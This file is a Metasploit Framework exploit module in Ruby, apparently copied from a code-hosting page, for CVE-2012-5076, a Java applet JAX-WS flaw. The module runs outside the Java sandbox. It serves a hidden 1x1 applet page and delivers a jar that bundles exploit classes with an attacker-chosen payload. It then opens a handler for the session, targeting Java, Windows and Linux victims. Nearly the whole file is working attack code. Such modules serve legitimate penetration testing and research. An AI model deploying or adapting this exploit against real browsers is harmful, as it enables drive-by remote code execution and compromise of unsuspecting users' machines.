121 lines
3.2 KiB
Ruby
121 lines
3.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
autopwn_info({ :javascript => false })
|
|
|
|
def initialize( info = {} )
|
|
super( update_info( info,
|
|
'Name' => 'Java Applet JAX-WS Remote Code Execution',
|
|
'Description' => %q{
|
|
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
|
|
code outside of the sandbox as exploited in the wild in November of 2012. The
|
|
vulnerability affects Java version 7u7 and earlier.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability Discovery
|
|
'juan vazquez' # metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-5076' ],
|
|
[ 'OSVDB', '86363' ],
|
|
[ 'BID', '56054' ],
|
|
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
|
|
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],
|
|
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]
|
|
],
|
|
'Platform' => [ 'java', 'win' ],
|
|
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (Java Payload)',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
}
|
|
],
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 16 2012'
|
|
))
|
|
end
|
|
|
|
|
|
def on_request_uri( cli, request )
|
|
if not request.uri.match(/\.jar$/i)
|
|
if not request.uri.match(/\/$/)
|
|
send_redirect(cli, get_resource() + '/', '')
|
|
return
|
|
end
|
|
|
|
print_status("#{self.name} handling request")
|
|
|
|
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
|
return
|
|
end
|
|
|
|
paths = [
|
|
[ "Exploit.class" ],
|
|
[ "MyPayload.class" ]
|
|
]
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
jar = p.encoded_jar
|
|
|
|
paths.each do |path|
|
|
1.upto(path.length - 1) do |idx|
|
|
full = path[0,idx].join("/") + "/"
|
|
if !(jar.entries.map{|e|e.name}.include?(full))
|
|
jar.add_file(full, '')
|
|
end
|
|
end
|
|
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
|
|
data = fd.read(fd.stat.size)
|
|
jar.add_file(path.join("/"), data)
|
|
fd.close
|
|
end
|
|
|
|
print_status("Sending Applet.jar")
|
|
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
|
|
|
|
handler( cli )
|
|
end
|
|
|
|
def generate_html
|
|
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
|
|
html = "<html><head></head>"
|
|
html += "<body>"
|
|
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
|
|
html += "</applet></body></html>"
|
|
return html
|
|
end
|
|
|
|
end
|